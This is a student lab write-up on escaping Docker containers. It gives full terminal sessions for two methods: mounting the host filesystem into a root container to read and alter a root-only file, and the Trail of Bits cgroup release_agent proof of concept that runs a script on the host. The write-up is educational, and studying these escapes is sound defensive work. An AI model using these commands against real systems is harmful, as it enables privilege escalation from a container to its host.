

Lab 5 - Escape a Container

Abusing Docker default root user:

The first example demonstrates a simple exploit of a container's default use of root and careless volume mounting.¹ Suppose there is a file on your host system that is protected under root privileges.

```
root@dix-ubuntu:example_1# echo "This is root's secret." > root_property.txt
root@dix-ubuntu:example_1# cat root_property.txt
This is root's secret.
root@dix-ubuntu:example_1#
```

```
(env) dix@dix-ubuntu:example_1$ ls -la
total 16
drwxr-xr-x 2 dix  dix  4096 Oct 22 19:06 .
drwxr-xr-x 3 dix  dix  4096 Oct 22 18:54 ..
-rw-r--r-- 1 dix  dix   19 Oct 22 18:55 Dockerfile
-rw----- 1 root root  23 Oct 22 19:07 root_property.txt
(env) dix@dix-ubuntu:example_1$ cat root_property.txt
cat: root_property.txt: Permission denied
(env) dix@dix-ubuntu:example_1$
```

Instead of cracking the root password, the user can just use a simple docker container to gain root access. Docker containers use root by default, and when you carelessly mount your host filesystem, you gain root access to your host.

```
(env) dix@dix-ubuntu:example_1$ docker run -v /:/host -it root_file
root@7cd53c1f98f0:/# ls
bin  dev  home  lib  media  opt  root  sbin  sys  usr
boot  etc  host  lib64  mnt  proc  run  srv  tmp  var
root@7cd53c1f98f0:/home# cd ../host/
root@7cd53c1f98f0:/host# ls
bin  dev  initrd.img  lib64  mnt  root  snap  sys  var
boot  etc  initrd.img.old  lost+found  opt  run  srv  tmp  vmlinuz
cdrom  home  lib  media  proc  sbin  swapfile  usr  vmlinuz.old
```

¹Pavisc, Vlatka, 2019. User Privileges in Docker Containers. Medium.com. Accessed Oct. 22, 2019.
<https://medium.com/jobteaser-dev-team/docker-user-best-practices-a8d2ca5205f4>

Returning to our *root_property.txt* file, you can see that the container provides read/write access to the document.

```
root@7cd53c1f98f0:/host/home/dix/Documents/cloud_comp/env/cloud_computing/cloud-sec-2019-05/escalated_privileges/example_1# cat root_property.txt
This is root's secret.
root@7cd53c1f98f0:/host/home/dix/Documents/cloud_comp/env/cloud_computing/cloud-sec-2019-05/escalated_privileges/example_1# echo "New Secret from Docker." >> root_property.txt
root@7cd53c1f98f0:/host/home/dix/Documents/cloud_comp/env/cloud_computing/cloud-sec-2019-05/escalated_privileges/example_1# cat root_property.txt
This is root's secret.
New Secret from Docker.
```

Abusing cgroup *notify_on_release* functionality:

This example was found on the *Trail of Bits* blog.² From my understanding of this proof of concept (PoC), the exploit sets the *notify_on_release* flag to 1 and forces the kernel to run the command specified in a cgroup's *release_agent* file. This command will be run by the kernel using root privileges.

The original PoC used the *--privileged* tag, but the blog authors refined the original PoC to work without that tag. They specified the requirements for this exploit as follows:

1. Must be running as root inside the container
2. Must have SYS_ADMIN capability
3. Must lack an AppArmor profile
4. Cgroup v1 virtual filesystem must be mounted read-write

And thus, we run our simple docker container as such (notice the additional docker flags):

```
ubuntu-vm@ubuntuvm-VirtualBox:~$ sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
[sudo] password for ubuntu-vm:
root@e324916dfd20:/#
```

From within the container, we create the cgroup's *release_agent* file which will execute our script after all cgroup tasks are killed. The author's did this by mounting the RDMA cgroup and creating a child cgroup, named x.

```
root@e324916dfd20:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```

We then must set the *notify_on_release* flag for the cgroup and specify the directory where the kernel can find our */cmd* script. As shown in the blog, this is done by finding the container's directory as specified in the */etc/mtab* file on the host system and placing the full path in the *release_agent* file inside the container.

```
root@e324916dfd20:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@e324916dfd20:/#
```

² Trail of Bits. 2019. Understanding Docker Container Escapes. Trail of Bits. Accessed Oct. 22, 2019.
<https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/>

```

root@50e34fd4803c:/# h_p=`sed -n 's/.*\perdir=([^\,]*)*/\1/p' /etc/mtab`
root@50e34fd4803c:/# echo $h_p
/var/lib/docker/overlay2/fd6267afca5d72ee63e97ba2028448028b533952d403a78ec3703b152969e87a/diff
root@50e34fd4803c:/# echo "$h_p/cmd" > /tmp/cgrp/release_agent
root@50e34fd4803c:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/fd6267afca5d72ee63e97ba2028448028b533952d403a78ec3703b152969e87a/diff/cmd

```

And now, we build our `/cmd` script and execute by killing the cgroup's tasks. From within the container, you can see the output file which lists the host system's processes.

```

root@50e34fd4803c:/# echo '#!/bin/sh' > /cmd
root@50e34fd4803c:/# echo "ps aux > $h_p/output" >> /cmd
root@50e34fd4803c:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/fd6267afca5d72ee63e97ba2028448028b533952d403a78ec3703b152969e87a/diff/output
root@50e34fd4803c:/# chmod a+x /cmd
root@50e34fd4803c:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@50e34fd4803c:/# ls
bin  cmd  etc  lib  media  opt  proc  run  srv  tmp  var
boot  dev  home  lib64  mnt  output  root  sbin  sys  usr
root@50e34fd4803c:/# cat output

```

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	0.0	0.2	160000	9328	?	Ss	20:05	0:02	/sbin/init splash
root	2	0.0	0.0	0	0	?	S	20:05	0:00	[kthreadd]
root	3	0.0	0.0	0	0	?	I<	20:05	0:00	[rcu_gp]
root	4	0.0	0.0	0	0	?	I<	20:05	0:00	[rcu_par_gp]
root	6	0.0	0.0	0	0	?	I<	20:05	0:00	[kworker/0:0H-kb]
root	8	0.0	0.0	0	0	?	I<	20:05	0:00	[mm_percpu_wq]
root	9	0.0	0.0	0	0	?	S	20:05	0:00	[ksoftirqd/0]
root	10	0.0	0.0	0	0	?	I	20:05	0:00	[rcu_sched]
root	11	0.0	0.0	0	0	?	S	20:05	0:00	[migration/0]